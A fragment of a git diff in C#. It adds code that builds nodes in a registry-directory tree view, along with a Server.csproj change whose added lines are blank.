+ // Go through the rest of the node path (leave last one, is the one to add).
+ for (int i = 1; i < nodePath.Length; i++)
+ {
+ // If the last node does have this entry in the path, just set
+ // the last node to the existing entry.
+ if (lastNode.Nodes.ContainsKey(nodePath[i]))
+ {
+ lastNode = lastNode.Nodes[nodePath[i]];
+ }
+ else
+ {
+ // If the last node does not contain the next item in the path,
+ // create the node and add it to the path.
+ TreeNode newNode = CreateNode(nodePath[i], nodePath[i], null);
+
+ tvRegistryDirectory.Invoke((MethodInvoker)delegate
+ {
+ lastNode.Nodes.Add(newNode);
+ });
+
+ lastNode = newNode;
+ }
+ }
+
+ return lastNode;
+ }
+
+ #endregion
}
}
diff --git a/Server/Server.csproj b/Server/Server.csproj
index 574026c6..edee0cc0 100644
--- a/Server/Server.csproj
+++ b/Server/Server.csproj
@@ -76,6 +76,7 @@
Component
+
@@ -138,6 +139,7 @@
+
@@ -145,6 +147,8 @@
+
+